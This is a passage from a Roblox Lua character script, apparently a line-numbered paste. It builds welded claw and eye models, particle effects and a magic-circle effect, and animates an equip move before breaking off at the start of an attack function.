  2903. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2904.  
  2905. local modelzorzz2=Instance.new("Model")
  2906. modelzorzz2.Parent=Character
  2907. modelzorzz2.Name="Claw2"
  2908.  
  2909. Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3))
  2910. Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559))
  2911. mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2912. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2913. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183))
  2914. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2915. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009))
  2916. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2917. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139))
  2918. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2919. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765))
  2920. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2921. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2922. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858))
  2923. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2924. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2925. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958))
  2926. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2927. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964))
  2928. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2929. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2930. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885))
  2931. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2932. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137))
  2933. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2934. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2935. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696))
  2936. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2937. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073))
  2938. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2939. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2940. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183))
  2941. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2942. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377))
  2943. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2944. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329))
  2945. Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2946. Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636))
  2947. mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2948. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2949. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835))
  2950.  
  2951. local modelzorzz3=Instance.new("Model")
  2952. modelzorzz3.Parent=Character
  2953. modelzorzz3.Name="Eye"
  2954.  
  2955. handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2956. handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  2957. mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1))
  2958. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2959. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2960. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996))
  2961. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2962. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2963. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963))
  2964. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998))
  2965. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  2966. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039))
  2967. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998))
  2968. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  2969. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039))
  2970. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2971. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752))
  2972. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2973. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2974. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2975. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702))
  2976. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2977. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537))
  2978.  
  2979. p = game.Players.LocalPlayer
  2980. char = p.Character
  2981. torso = char.Torso
  2982. neck = char.Torso.Neck
  2983. hum = char.Humanoid
  2984. hum.MaxHealth = 1527500
  2985. wait()
  2986. hum.Health =hum.MaxHealth
  2987.  
  2988. local particleemitter = Instance.new("ParticleEmitter", Handle)
  2989. particleemitter.VelocitySpread = 180
  2990. particleemitter.Lifetime = NumberRange.new(0.1)
  2991. particleemitter.Speed = NumberRange.new(2)
  2992. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  2993. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2994. particleemitter.Rate = 100
  2995. particleemitter.Rotation = NumberRange.new(-45, 45)
  2996. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2997. particleemitter.LightEmission = 0.8
  2998. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2999.  
  3000. local particleemitter = Instance.new("ParticleEmitter", Handle2)
  3001. particleemitter.VelocitySpread = 180
  3002. particleemitter.Lifetime = NumberRange.new(0.1)
  3003. particleemitter.Speed = NumberRange.new(2)
  3004. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  3005. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  3006. particleemitter.Rate = 100
  3007. particleemitter.Rotation = NumberRange.new(-45, 45)
  3008. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  3009. particleemitter.LightEmission = 0.8
  3010. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  3011.  
  3012. local particleemitter = Instance.new("ParticleEmitter", handle)
  3013. particleemitter.VelocitySpread = 180
  3014. particleemitter.Lifetime = NumberRange.new(0.1)
  3015. particleemitter.Speed = NumberRange.new(2)
  3016. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)})
  3017. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  3018. particleemitter.Rate = 100
  3019. particleemitter.Rotation = NumberRange.new(-45, 45)
  3020. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  3021. particleemitter.LightEmission = 0.8
  3022. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  3023.  
  3024. particleemitter.Enabled = true
  3025. MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),75,75,75,35,35,35,0.025)
  3026. MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),76,76,76,36,36,36,0.025)
  3027. so("http://www.roblox.com/asset/?id=715602695",Character,3,0.475)
  3028. so("http://www.roblox.com/asset/?id=231917742",Character,3,0.75)
  3029. for i=0,1,0.005 do
  3030. swait()
  3031. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1)
  3032. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1)
  3033. handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1)
  3034. Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1)
  3035. Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1)
  3036. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  3037. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  3038. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  3039. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  3040. end
  3041. for i=0,1,0.04 do
  3042. swait()
  3043. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
  3044. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3045. Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3046. Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3047. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
  3048. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
  3049. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3050. LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
  3051. end
  3052. attack = false
  3053. end
  3054. end
  3055. end)
  3056.  
  3057. function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  3058. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  3059. prt.Anchored=true
  3060. prt.CFrame=cframe
  3061. local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
  3062. game:GetService("Debris"):AddItem(prt,2)
  3063. coroutine.resume(coroutine.create(function(Part,Mesh)
  3064. for i=0,1,delay do
  3065. wait()
  3066. Part.CFrame=Part.CFrame
  3067. Part.Transparency=i
  3068. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  3069. end
  3070. Part.Parent=nil
  3071. end),prt,msh)
  3072. end
  3073.  
  3074. TrailDeb = false
  3075.  
  3076. function equipanim()
  3077. attack=true
  3078. Humanoid.WalkSpeed = 0
  3079. if TrailDeb == false then
  3080. TrailDeb = true
  3081. end
  3082.  
  3083.  
  3084. coroutine.wrap(function()
  3085. local Old = handle.CFrame.p
  3086. while wait()do
  3087. if not TrailDeb then break end
  3088. local New = handle.CFrame.p
  3089. local Mag =(Old -New).magnitude
  3090. local Dis =(Old +New)/2
  3091. local Trail = Instance.new("Part",Character)
  3092. Trail.Material = "Neon"
  3093. Trail.Anchored = true
  3094. Trail.CanCollide = false
  3095. Trail.BrickColor = TorsoColor
  3096. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3097. Trail.TopSurface = 0
  3098. Trail.BottomSurface = 0
  3099. Trail.formFactor = "Custom"
  3100. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3101. local ms = Instance.new("BlockMesh",Trail)
  3102. ms.Scale = Vector3.new(1,1,1)
  3103. local TM = Instance.new("CylinderMesh",Trail)
  3104. TM.Scale = Vector3.new(1,1,1)
  3105. Old = New
  3106. coroutine.wrap(function()
  3107. for i = 1,0,-0.1 do
  3108. wait()
  3109. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3110. end
  3111. Trail:remove()
  3112. end)()
  3113. coroutine.wrap(function()
  3114. for i = 1,10 do
  3115. wait()
  3116. Trail.Transparency = Trail.Transparency +0.1
  3117. end end)()end end)()
  3118. coroutine.wrap(function()
  3119. local Old = Handle.CFrame.p
  3120. while wait()do
  3121. if not TrailDeb then break end
  3122. local New = Handle.CFrame.p
  3123. local Mag =(Old -New).magnitude
  3124. local Dis =(Old +New)/2
  3125. local Trail = Instance.new("Part",Character)
  3126. Trail.Material = "Neon"
  3127. Trail.Anchored = true
  3128. Trail.CanCollide = false
  3129. Trail.BrickColor = TorsoColor
  3130. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3131. Trail.TopSurface = 0
  3132. Trail.BottomSurface = 0
  3133. Trail.formFactor = "Custom"
  3134. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3135. local ms = Instance.new("BlockMesh",Trail)
  3136. ms.Scale = Vector3.new(1,1,1)
  3137. local TM = Instance.new("CylinderMesh",Trail)
  3138. TM.Scale = Vector3.new(1,1,1)
  3139. Old = New
  3140. coroutine.wrap(function()
  3141. for i = 1,0,-0.1 do
  3142. wait()
  3143. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3144. end
  3145. Trail:remove()
  3146. end)()
  3147. coroutine.wrap(function()
  3148. for i = 1,10 do
  3149. wait()
  3150. Trail.Transparency = Trail.Transparency +0.1
  3151. end end)()end end)()
  3152. coroutine.wrap(function()
  3153. local Old = Handle2.CFrame.p
  3154. while wait()do
  3155. if not TrailDeb then break end
  3156. local New = Handle2.CFrame.p
  3157. local Mag =(Old -New).magnitude
  3158. local Dis =(Old +New)/2
  3159. local Trail = Instance.new("Part",Character)
  3160. Trail.Material = "Neon"
  3161. Trail.Anchored = true
  3162. Trail.CanCollide = false
  3163. Trail.BrickColor = TorsoColor
  3164. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3165. Trail.TopSurface = 0
  3166. Trail.BottomSurface = 0
  3167. Trail.formFactor = "Custom"
  3168. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3169. local ms = Instance.new("BlockMesh",Trail)
  3170. ms.Scale = Vector3.new(1,1,1)
  3171. local TM = Instance.new("CylinderMesh",Trail)
  3172. TM.Scale = Vector3.new(1,1,1)
  3173. Old = New
  3174. coroutine.wrap(function()
  3175. for i = 1,0,-0.1 do
  3176. wait()
  3177. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3178. end
  3179. Trail:remove()
  3180. end)()
  3181. coroutine.wrap(function()
  3182. for i = 1,10 do
  3183. wait()
  3184. Trail.Transparency = Trail.Transparency +0.1
  3185. end end)()end end)()
  3186. so("http://www.roblox.com/asset/?id=200632370",Torso,1,0.5)
  3187. for i=0,1,0.005 do
  3188. swait()
  3189. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,100-100*i)*euler(0,0,0+90*i),.2)
  3190. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2)
  3191. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3192. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3193. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3194. LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2)
  3195. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2)
  3196. end
  3197. for i=0,1,0.005 do
  3198. swait()
  3199. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,2.5)*euler(0,0,0+90*i),.2)
  3200. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2)
  3201. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3202. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3203. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3204. LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2)
  3205. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2)
  3206. end
  3207. so("http://www.roblox.com/asset/?id=715602695",Character,1,0.9)
  3208. so("http://www.roblox.com/asset/?id=715602695",Character,1,0.9)
  3209. for i=0,1,0.005 do
  3210. swait()
  3211. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1)
  3212. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1)
  3213. handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1)
  3214. Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1)
  3215. Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1)
  3216. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  3217. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  3218. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  3219. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  3220. end
  3221. for i=0,1,0.04 do
  3222. swait()
  3223. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
  3224. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3225. Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3226. Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3227. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
  3228. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
  3229. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3230. LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
  3231. end
  3232. --dmgstop()
  3233. attack=false
  3234. Humanoid.WalkSpeed = 12
  3235. if TrailDeb == true then
  3236. TrailDeb = false
  3237. end
  3238. end
  3239.  
  3240. function attackone()
  3241. attack=true
  3242. if TrailDeb == false then
  3243. TrailDeb = true
  3244. end
  3245.  
  3246.  
  3247. coroutine.wrap(function()
  3248. local Old = Handle.CFrame.p
  3249. while wait()do
